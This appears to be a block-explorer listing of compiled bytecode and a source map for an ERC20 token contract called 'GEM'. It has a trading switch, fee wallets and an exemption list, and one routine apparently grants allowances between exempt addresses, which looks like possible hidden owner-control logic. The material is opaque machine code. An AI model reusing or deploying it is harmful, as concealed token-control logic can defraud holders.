acc602283611671565b9150611ad782611a70565b604082019050919050565b60006020820190508181036000830152611afb81611abf565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000611b38601683611671565b9150611b4382611b02565b602082019050919050565b60006020820190508181036000830152611b6781611b2b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611bd78261177b565b9150611be28361177b565b925082611bf257611bf1611b6e565b5b828204905092915050565b6000611c088261177b565b9150611c138361177b565b9250828203905081811115611c2b57611c2a611b9d565b5b92915050565b6000611c3c8261177b565b9150611c478361177b565b9250828201905080821115611c5f57611c5e611b9d565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611c9b601b83611671565b9150611ca682611c65565b602082019050919050565b60006020820190508181036000830152611cca81611c8e565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209cb6378c6d818a6f54076865adf132ff87bd472dce8edab89d934e1165802a6864736f6c63430008130033

Deployed Bytecode

0x6080604052600436106100f75760003560e01c8063715018a61161008a578063a9059cbb11610059578063a9059cbb14610329578063c9567bf914610366578063dd62ed3e1461037d578063dec01092146103ba576100fe565b8063715018a6146102915780638da5cb5b146102a85780638ea5220f146102d357806395d89b41146102fe576100fe565b8063313ce567116100c6578063313ce567146101d357806349bd5a5e146101fe5780634ada218b1461022957806370a0823114610254576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103e5565b60405161012591906116f6565b60405180910390f35b34801561013a57600080fd5b50610155600480360381019061015091906117b1565b610422565b604051610162919061180c565b60405180910390f35b34801561017757600080fd5b50610180610440565b60405161018d9190611836565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611851565b610452565b6040516101ca919061180c565b60405180910390f35b3480156101df57600080fd5b506101e861052b565b6040516101f591906118c0565b60405180910390f35b34801561020a57600080fd5b50610213610534565b60405161022091906118ea565b60405180910390f35b34801561023557600080fd5b5061023e61055a565b60405161024b919061180c565b60405180910390f35b34801561026057600080fd5b5061027b60048036038101906102769190611905565b61056d565b6040516102889190611836565b60405180910390f35b34801561029d57600080fd5b506102a66105b6565b005b3480156102b457600080fd5b506102bd610709565b6040516102ca91906118ea565b60405180910390f35b3480156102df57600080fd5b506102e8610732565b6040516102f591906118ea565b60405180910390f35b34801561030a57600080fd5b50610313610758565b60405161032091906116f6565b60405180910390f35b34801561033557600080fd5b50610350600480360381019061034b91906117b1565b610795565b60405161035d919061180c565b60405180910390f35b34801561037257600080fd5b5061037b6107b3565b005b34801561038957600080fd5b506103a4600480360381019061039f9190611932565b610865565b6040516103b19190611836565b60405180910390f35b3480156103c657600080fd5b506103cf6108ec565b6040516103dc91906118ea565b60405180910390f35b60606040518060400160405280600481526020017ff09f928e00000000000000000000000000000000000000000000000000000000815250905090565b600061043661042f610912565b848461091a565b6001905092915050565b600069d3c21bcecceda1000000905090565b600061045f848484610ae3565b6105208461046b610912565b61051b85604051806060016040528060288152602001611cd260289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104d1610912565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ecb9092919063ffffffff16565b61091a565b600190509392505050565b60006012905090565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105be610912565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461064b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610642906119be565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606040518060400160405280600381526020017f47454d0000000000000000000000000000000000000000000000000000000000815250905090565b60006107a96107a2610912565b8484610ae3565b6001905092915050565b6107bb610912565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610848576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083f906119be565b60405180910390fd5b6001600860006101000a81548160ff021916908315150217905550565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610989576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098090611a50565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ef90611ae2565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ad69190611836565b60405180910390a3505050565b600860009054906101000a900460ff16610baa57610aff610709565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610b6a5750610b3b610709565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b610ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba090611b4e565b60405180910390fd5b5b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610c4d5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b90508015610c6157610c60848484610f2f565b5b6000610c6c3061056d565b9050600061c35069d3c21bcecceda1000000610c889190611bcc565b82118015610ce05750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610d365750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b9050808015610d935750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b8015610dac5750601060149054906101000a900460ff16155b15610df0576001601060146101000a81548160ff021916908315150217905550610dd4610fc3565b6000601060146101000a81548160ff0219169083151502179055505b600060019050600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610e975750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610ea157600090505b8015610eb357610eb28787876110a7565b5b60009050610ec287878761132e565b50505050505050565b6000838311158290610f13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0a91906116f6565b60405180910390fd5b5060008385610f229190611bfd565b9050809150509392505050565b610f37610709565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610fa55750610f75610709565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015610fb15750600081115b15610fbe57436003819055505b505050565b600047905060008111156110a457600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611039573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156110a2573d6000803e3d6000fd5b505b50565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111065750600082115b90506000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156111675750600083115b90506000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141580156112175750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156112235750600084115b9050600080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054149050600043905084156112c65781156112c15780600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611324565b83806112cf5750825b1561132357600354600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113219190611bfd565b505b5b5050505050505050565b6000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905080156114195781600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114119190611c31565b925050819055505b61142484848461142a565b50505050565b61147c81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115be90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061151181600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160890919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115b19190611836565b60405180910390a3505050565b600061160083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ecb565b905092915050565b60008082846116179190611c31565b90508381101561165c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165390611cb1565b60405180910390fd5b8091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156116a0578082015181840152602081019050611685565b60008484015250505050565b6000601f19601f8301169050919050565b60006116c882611666565b6116d28185611671565b93506116e2818560208601611682565b6116eb816116ac565b840191505092915050565b6000602082019050818103600083015261171081846116bd565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117488261171d565b9050919050565b6117588161173d565b811461176357600080fd5b50565b6000813590506117758161174f565b92915050565b6000819050919050565b61178e8161177b565b811461179957600080fd5b50565b6000813590506117ab81611785565b92915050565b600080604083850312156117c8576117c7611718565b5b60006117d685828601611766565b92505060206117e78582860161179c565b9150509250929050565b60008115159050919050565b611806816117f1565b82525050565b600060208201905061182160008301846117fd565b92915050565b6118308161177b565b82525050565b600060208201905061184b6000830184611827565b92915050565b60008060006060848603121561186a57611869611718565b5b600061187886828701611766565b935050602061188986828701611766565b925050604061189a8682870161179c565b9150509250925092565b600060ff82169050919050565b6118ba816118a4565b82525050565b60006020820190506118d560008301846118b1565b92915050565b6118e48161173d565b82525050565b60006020820190506118ff60008301846118db565b92915050565b60006020828403121561191b5761191a611718565b5b600061192984828501611766565b91505092915050565b6000806040838503121561194957611948611718565b5b600061195785828601611766565b925050602061196885828601611766565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006119a8602083611671565b91506119b382611972565b602082019050919050565b600060208201905081810360008301526119d78161199b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611a3a602483611671565b9150611a45826119de565b604082019050919050565b60006020820190508181036000830152611a6981611a2d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611acc602283611671565b9150611ad782611a70565b604082019050919050565b60006020820190508181036000830152611afb81611abf565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000611b38601683611671565b9150611b4382611b02565b602082019050919050565b60006020820190508181036000830152611b6781611b2b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611bd78261177b565b9150611be28361177b565b925082611bf257611bf1611b6e565b5b828204905092915050565b6000611c088261177b565b9150611c138361177b565b9250828203905081811115611c2b57611c2a611b9d565b5b92915050565b6000611c3c8261177b565b9150611c478361177b565b9250828201905080821115611c5f57611c5e611b9d565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611c9b601b83611671565b9150611ca682611c65565b602082019050919050565b60006020820190508181036000830152611cca81611c8e565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209cb6378c6d818a6f54076865adf132ff87bd472dce8edab89d934e1165802a6864736f6c63430008130033

Deployed Bytecode Sourcemap

3680:9181:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5318:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6146:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5595:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6315:310;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5504:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4685:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4354:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5698:117;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3034:148;;;;;;;;;;;;;:::i;:::-;;2820:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4603:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5409:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5823:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7113:82;;;;;;;;;;;;;:::i;:::-;;5998:140;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4570:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5318:83;5355:13;5388:5;;;;;;;;;;;;;;;;;5381:12;;5318:83;:::o;6146:161::-;6221:4;6238:39;6247:12;:10;:12::i;:::-;6261:7;6270:6;6238:8;:39::i;:::-;6295:4;6288:11;;6146:161;;;;:::o;5595:95::-;5648:7;3895:12;5668:14;;5595:95;:::o;6315:310::-;6413:4;6430:36;6440:6;6448:9;6459:6;6430:9;:36::i;:::-;6477:118;6486:6;6494:12;:10;:12::i;:::-;6508:86;6543:6;6508:86;;;;;;;;;;;;;;;;;:8;:16;6517:6;6508:16;;;;;;;;;;;;;;;:30;6525:12;:10;:12::i;:::-;6508:30;;;;;;;;;;;;;;;;:34;;:86;;;;;:::i;:::-;6477:8;:118::i;:::-;6613:4;6606:11;;6315:310;;;;;:::o;5504:83::-;5545:5;3851:2;5563:16;;5504:83;:::o;4685:28::-;;;;;;;;;;;;;:::o;4354:34::-;;;;;;;;;;;;;:::o;5698:117::-;5764:7;5791;:16;5799:7;5791:16;;;;;;;;;;;;;;;;5784:23;;5698:117;;;:::o;3034:148::-;2957:12;:10;:12::i;:::-;2947:22;;:6;;;;;;;;;;:22;;;2939:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3141:1:::1;3104:40;;3125:6;::::0;::::1;;;;;;;;3104:40;;;;;;;;;;;;3172:1;3155:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3034:148::o:0;2820:79::-;2858:7;2885:6;;;;;;;;;;;2878:13;;2820:79;:::o;4603:24::-;;;;;;;;;;;;;:::o;5409:87::-;5448:13;5481:7;;;;;;;;;;;;;;;;;5474:14;;5409:87;:::o;5823:167::-;5901:4;5918:42;5928:12;:10;:12::i;:::-;5942:9;5953:6;5918:9;:42::i;:::-;5978:4;5971:11;;5823:167;;;;:::o;7113:82::-;2957:12;:10;:12::i;:::-;2947:22;;:6;;;;;;;;;;:22;;;2939:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7183:4:::1;7166:14;;:21;;;;;;;;;;;;;;;;;;7113:82::o:0;5998:140::-;6079:7;6106:8;:15;6115:5;6106:15;;;;;;;;;;;;;;;:24;6122:7;6106:24;;;;;;;;;;;;;;;;6099:31;;5998:140;;;;:::o;4570:26::-;;;;;;;;;;;;;:::o;231:98::-;284:7;311:10;304:17;;231:98;:::o;7330:332::-;7440:1;7423:19;;:5;:19;;;7415:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7521:1;7502:21;;:7;:21;;;7494:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7600:6;7573:8;:15;7582:5;7573:15;;;;;;;;;;;;;;;:24;7589:7;7573:24;;;;;;;;;;;;;;;:33;;;;7638:7;7622:32;;7631:5;7622:32;;;7647:6;7622:32;;;;;;:::i;:::-;;;;;;;;7330:332;;;:::o;7674:952::-;7758:14;;;;;;;;;;;7754:113;;7804:7;:5;:7::i;:::-;7796:15;;:4;:15;;;:32;;;;7821:7;:5;:7::i;:::-;7815:13;;:2;:13;;;7796:32;7788:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7754:113;7879:20;7902:18;:24;7921:4;7902:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;7930:18;:22;7949:2;7930:22;;;;;;;;;;;;;;;;;;;;;;;;;7902:50;7879:73;;7968:15;7965:60;;;7987:35;8005:4;8011:2;8015:6;7987:17;:35::i;:::-;7965:60;8037:20;8060:24;8078:4;8060:9;:24::i;:::-;8037:47;;8095:12;8136:5;3895:12;8126:15;;;;:::i;:::-;8111:12;:30;8110:61;;;;;8147:18;:24;8166:4;8147:24;;;;;;;;;;;;;;;;;;;;;;;;;8146:25;8110:61;:88;;;;;8176:18;:22;8195:2;8176:22;;;;;;;;;;;;;;;;;;;;;;;;;8175:23;8110:88;8095:103;;8214:7;:32;;;;;8233:13;;;;;;;;;;;8225:21;;:4;:21;;;;8214:32;:45;;;;;8251:8;;;;;;;;;;;8250:9;8214:45;8211:152;;;8286:4;8275:8;;:15;;;;;;;;;;;;;;;;;;8305;:13;:15::i;:::-;8346:5;8335:8;;:16;;;;;;;;;;;;;;;;;;8211:152;8375:12;8390:4;8375:19;;8410:18;:24;8429:4;8410:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;8438:18;:22;8457:2;8438:22;;;;;;;;;;;;;;;;;;;;;;;;;8410:50;8407:70;;;8472:5;8462:15;;8407:70;8493:7;8490:49;;;8502:37;8522:4;8528:2;8532:6;8502:19;:37::i;:::-;8490:49;8562:5;8552:15;;8580:38;8601:4;8607:2;8611:6;8580:20;:38::i;:::-;7743:883;;;;7674:952;;;:::o;1366:190::-;1452:7;1485:1;1480;:6;;1488:12;1472:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1512:9;1528:1;1524;:5;;;;:::i;:::-;1512:17;;1547:1;1540:8;;;1366:190;;;;;:::o;9381:193::-;9491:7;:5;:7::i;:::-;9481:17;;:6;:17;;;;:41;;;;;9515:7;:5;:7::i;:::-;9502:20;;:9;:20;;;;9481:41;:55;;;;;9535:1;9526:6;:10;9481:55;9478:89;;;9552:12;9539:10;:25;;;;9478:89;9381:193;;;:::o;9123:246::-;9167:18;9188:21;9167:42;;9237:1;9224:10;:14;9220:142;;;9263:9;;;;;;;;;;;9255:27;;:39;9283:10;9255:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9317:11;;;;;;;;;;;9309:29;;:41;9339:10;9309:41;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9220:142;9156:213;9123:246::o;9582:588::-;9681:12;9706:13;;;;;;;;;;;9696:23;;:6;:23;;;:37;;;;;9732:1;9723:6;:10;9696:37;9681:52;;9744:12;9772:13;;;;;;;;;;;9759:26;;:9;:26;;;:40;;;;;9798:1;9789:6;:10;9759:40;9744:55;;9810:15;9838:13;;;;;;;;;;;9828:23;;:6;:23;;;;:53;;;;;9868:13;;;;;;;;;;;9855:26;;:9;:26;;;;9828:53;:67;;;;;9894:1;9885:6;:10;9828:67;9810:85;;9906:11;9942:1;9920:7;:18;9928:9;9920:18;;;;;;;;;;;;;;;;:23;9906:37;;9954:17;9974:12;9954:32;;10002:7;9999:164;;;10028:6;10025:41;;;10057:9;10036:7;:18;10044:9;10036:18;;;;;;;;;;;;;;;:30;;;;10025:41;9999:164;;;10086:7;:21;;;;10097:10;10086:21;10083:80;;;10141:10;;10123:7;:15;10131:6;10123:15;;;;;;;;;;;;;;;;:28;;;;:::i;:::-;;10083:80;9999:164;9670:500;;;;;9582:588;;;:::o;10683:297::-;10783:20;10806:18;:26;10825:6;10806:26;;;;;;;;;;;;;;;;;;;;;;;;;10783:49;;10856:15;10853:57;;;10904:6;10873:8;:19;10882:9;10873:19;;;;;;;;;;;;;;;:27;10893:6;10873:27;;;;;;;;;;;;;;;;:37;;;;;;;:::i;:::-;;;;;;;;10853:57;10923:49;10946:6;10954:9;10965:6;10923:22;:49::i;:::-;10772:208;10683:297;;;:::o;10178:275::-;10299:28;10319:7;10299;:15;10307:6;10299:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;10281:7;:15;10289:6;10281:15;;;;;;;;;;;;;;;:46;;;;10359:31;10382:7;10359;:18;10367:9;10359:18;;;;;;;;;;;;;;;;:22;;:31;;;;:::i;:::-;10338:7;:18;10346:9;10338:18;;;;;;;;;;;;;;;:52;;;;10426:9;10409:36;;10418:6;10409:36;;;10437:7;10409:36;;;;;;:::i;:::-;;;;;;;;10178:275;;;:::o;1222:136::-;1280:7;1307:43;1311:1;1314;1307:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1300:50;;1222:136;;;;:::o;1035:179::-;1093:7;1113:9;1129:1;1125;:5;;;;:::i;:::-;1113:17;;1154:1;1149;:6;;1141:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1205:1;1198:8;;;1035:179;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:118::-;4940:24;4958:5;4940:24;:::i;:::-;4935:3;4928:37;4853:118;;:::o;4977:222::-;5070:4;5108:2;5097:9;5093:18;5085:26;;5121:71;5189:1;5178:9;5174:17;5165:6;5121:71;:::i;:::-;4977:222;;;;:::o;5205:329::-;5264:6;5313:2;5301:9;5292:7;5288:23;5284:32;5281:119;;;5319:79;;:::i;:::-;5281:119;5439:1;5464:53;5509:7;5500:6;5489:9;5485:22;5464:53;:::i;:::-;5454:63;;5410:117;5205:329;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:182::-;6160:34;6156:1;6148:6;6144:14;6137:58;6020:182;:::o;6208:366::-;6350:3;6371:67;6435:2;6430:3;6371:67;:::i;:::-;6364:74;;6447:93;6536:3;6447:93;:::i;:::-;6565:2;6560:3;6556:12;6549:19;;6208:366;;;:::o;6580:419::-;6746:4;6784:2;6773:9;6769:18;6761:26;;6833:9;6827:4;6823:20;6819:1;6808:9;6804:17;6797:47;6861:131;6987:4;6861:131;:::i;:::-;6853:139;;6580:419;;;:::o;7005:223::-;7145:34;7141:1;7133:6;7129:14;7122:58;7214:6;7209:2;7201:6;7197:15;7190:31;7005:223;:::o;7234:366::-;7376:3;7397:67;7461:2;7456:3;7397:67;:::i;:::-;7390:74;;7473:93;7562:3;7473:93;:::i;:::-;7591:2;7586:3;7582:12;7575:19;;7234:366;;;:::o;7606:419::-;7772:4;7810:2;7799:9;7795:18;7787:26;;7859:9;7853:4;7849:20;7845:1;7834:9;7830:17;7823:47;7887:131;8013:4;7887:131;:::